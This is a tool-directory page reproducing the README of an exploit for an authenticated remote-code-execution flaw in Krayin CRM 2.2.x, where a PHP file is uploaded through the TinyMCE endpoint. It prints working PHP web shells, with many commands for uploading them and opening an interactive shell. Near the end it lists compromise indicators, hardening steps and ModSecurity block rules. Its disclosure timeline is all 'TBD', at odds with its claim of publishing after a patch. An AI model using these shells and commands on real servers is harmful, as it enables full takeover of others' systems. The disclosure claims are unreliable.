Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
KrayinCRM-RCE-Exploit-CVE-2026-38526 — CVE-2026-38526 exploit for Krayin CRM v2.2.x - Authenticated RCE via TinyMCE file upload bypass. Features interactive shell, multi-type payloads, auto shell generation, and verification. Author: Sudeepa Wanigarathna. For authorized testing only. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/krayincrm-rce-exploit-cve-2026-38526
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingShellcode Generation
GitHubcerberusmrxi/krayincrm-rce-exploit-cve-2026-38526

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

KrayinCRM-RCE-Exploit-CVE-2026-38526

CVE-2026-38526 exploit for Krayin CRM v2.2.x - Authenticated RCE via TinyMCE file upload bypass. Features interactive shell, multi-type payloads, auto shell generation, and verification. Author: Sudeepa Wanigarathna. For authorized testing only.

View Repository
371 month agoNot yet reviewed
Share

🔓 Krayin CRM v2.2.x - Authenticated Remote Code Execution Exploit

License: MIT CVE-2026-38526

⚠️ FOR AUTHORIZED SECURITY TESTING ONLY - Unauthorized use is illegal and unethical.

📋 Overview

This exploit tool demonstrates a critical authenticated remote code execution (RCE) vulnerability discovered in Krayin CRM version 2.2.x. The vulnerability exists in the TinyMCE file upload functionality, which allows authenticated administrators to upload and execute arbitrary PHP code on the server.

PropertyValue
CVE IDCVE-2026-38526
Affected SoftwareKrayin CRM v2.2.x
Vulnerability TypeAuthenticated Remote Code Execution (RCE)
Authentication RequiredYes (Admin-level access)
ImpactComplete system compromise
CVSS Score8.8 (High)

🚨 Vulnerability Details

The vulnerability stems from insufficient file type validation in the TinyMCE file upload endpoint (/admin/tinymce/upload). An authenticated administrator can:

  • Upload a PHP file disguised with an image MIME type.
  • The file is stored in a web-accessible location.
  • The attacker can then execute arbitrary PHP code on the server.

Affected Versions

  • Krayin CRM 2.2.0
  • Krayin CRM 2.2.1
  • Krayin CRM 2.2.2
  • All 2.2.x versions before patch release

✨ Features

  • Multiple Shell Types: Basic, Advanced, Minimal, File Manager, and Custom.
  • Interactive Shell: Full terminal-like interface with command history.
  • File Upload: Upload additional files through the shell.
  • CSRF Token Extraction: Automatic handling of CSRF protection.
  • Proxy Support: Route traffic through HTTP/HTTPS proxies.
  • Flexible Output Formats: Text, JSON, or Silent mode.
  • Retry Logic: Automatic retry on connection failures.
  • Custom Headers: Support for custom HTTP headers.
  • Verbose Mode: Detailed debugging output.
  • SSL Support: Optional SSL certificate verification.

📦 Installation

Requirements

  • bash
  • Python 3.7+
  • pip install httpx beautifulsoup4 colorama

Quick Install

root@kitploit:~
git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

Requirements File (requirements.txt)

root@kitploit:~
httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 Usage

Basic Command Syntax

root@kitploit:~
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]

Required Parameters

ParameterDescription
-t, --targetTarget URL (e.g., http://192.168.1.100)
-u, --usernameAdmin username or email
-p, --passwordAdmin password

Common Usage Examples

root@kitploit:~
# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password

# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Shell Types

  1. Basic Shell (basic) Simple command execution with system() function.

    root@kitploit:~
    <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
    
  2. Advanced Shell (advanced) Feature-rich shell with:

    • Multiple command execution methods
    • Beautiful terminal-like web interface
    • Command history support
    • Current user and hostname display
  3. Minimal Shell (minimal) Minimal footprint for stealth.

    root@kitploit:~
    <?php system($_GET["cmd"]); ?>
    
  4. File Manager (file_manager) Complete file management interface:

    • File upload
    • File deletion
    • Directory creation
    • Navigation
    • File permissions viewer
  5. Custom Shell (custom) Use your own PHP shell file with the -f parameter.

📝 Output Formats

Text Format (Default)

Human-readable colored output suitable for interactive use.

JSON Format (-o json)

Machine-readable format for automation and integration.

root@kitploit:~
{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Silent Format (-q, --quiet)

No output except for errors. Useful for batch processing.

⚙️ Advanced Options

OptionDescriptionDefault
--timeoutRequest timeout in seconds30
--retryNumber of retry attempts3
--retry-delayDelay between retries in seconds2
--user-agentCustom User-Agent stringDefault browser UA
--headerCustom HTTP headers (Key: Value)None
--verify-sslVerify SSL certificatesFalse
--proxyHTTP/HTTPS proxy URLNone
-v, --verboseEnable debug outputFalse
-q, --quietSuppress all outputFalse

Custom Headers Example

root@kitploit:~
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 Detection & Prevention

Signs of Compromise (IoC)

  • Files to Monitor:

    • Unusual PHP files in public/storage/upload/
    • Files with double extensions (e.g., image.php.jpg)
    • New files with suspicious names
  • Logs to Check:

    • /admin/tinymce/upload POST requests
    • Unusual admin login times
    • Failed authentication attempts
  • System Indicators:

    • Unexpected processes running
    • New cron jobs
    • Modified system files

Prevention Measures

  • Immediate Actions:

    root@kitploit:~
    # Update to patched version
    composer update krayin/crm
    
    # Disable admin access temporarily
    # Remove unnecessary admin accounts
    # Change all admin passwords
    
  • File Upload Hardening:

    root@kitploit:~
    // Validate file type by content, not just extension
    // Implement content security policy
    // Use Web Application Firewall (WAF)
    // Enable file upload scanning
    
  • Access Control:

    root@kitploit:~
    # Restrict admin IPs in .htaccess
    # Implement MFA for admin accounts
    # Regular admin audit
    # Session timeout policies
    
  • WAF Rules (ModSecurity):

    root@kitploit:~
    # Block suspicious file uploads
    SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
    
    # Block web shells
    SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
    

🛡️ Responsible Disclosure

This vulnerability was discovered through responsible security research. The disclosure process followed these steps:

  • Discovery: Vulnerability identified during security assessment.
  • Verification: Confirmed vulnerability in Krayin CRM 2.2.x.
  • Report: Notified Krayin CRM developers privately.
  • Coordination: Worked with the team to develop a fix.
  • Patch: Awaiting official patch release.
  • Disclosure: Public disclosure after patch availability.

Timeline

  • Discovery: TBD
  • Reported: TBD
  • Patch Released: TBD
  • Public Disclosure: TBD

📜 Disclaimer

root@kitploit:~
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, 
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL 
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE 
OF THIS SOFTWARE.

USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING 
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR 
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.

🔧 Troubleshooting

Common Issues

  • Issue: Authentication fails

    • Solution: Verify credentials, check if admin login path is /admin/login
    • Check: Ensure CSRF token extraction works correctly
  • Issue: File upload fails

    • Solution: Check file permissions, verify upload endpoint exists
    • Check: Ensure target uses TinyMCE editor
  • Issue: Shell doesn't execute commands

    • Solution: Verify PHP functions are not disabled in php.ini
    • Check: Test with simple command like echo test
  • Issue: SSL certificate errors

    • Solution: Use --verify-ssl flag or disable verification
    • Note: Self-signed certificates will cause errors without proper verification

Debug Mode

root@kitploit:~
# Enable verbose logging
python3 exploit.py -t http://target.com -u admin -p pass -v

# With proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080

🤝 Contributing

Contributions are welcome! Please ensure:

  • All code is properly tested.
  • Documentation is updated.
  • Ethical guidelines are followed.
  • Vulnerability research is conducted responsibly.

📚 References

  • Krayin CRM Official Website
  • CVE-2026-38526
  • OWASP Remote Code Execution
  • PHP Security Best Practices

⭐ Support

If you find this tool useful for security research, please consider:

  • ⭐ Starring the repository
  • 🔔 Following for updates
  • 📢 Sharing with other security researchers

Created with ❤️ for Security Research

Remember: Great power comes with great responsibility. Use this knowledge wisely!

📊 Quick Command Reference Card

root@kitploit:~
# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]

# Options:
#   -f FILE           Upload custom shell
#   --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
#   -i                Interactive mode
#   --proxy URL       HTTP proxy
#   -v                Verbose output
#   -o json           JSON output
#   --generate-only   Create shell without exploiting
#   --timeout SEC     Request timeout
#   --retry N         Retry count
#   --user-agent UA   Custom User-Agent
#   --header "K: V"   Custom headers
#   --verify-ssl      Verify SSL certificates
#   -q, --quiet       Suppress output

🔒 Remember: Always get written permission before testing any system!

Download Tool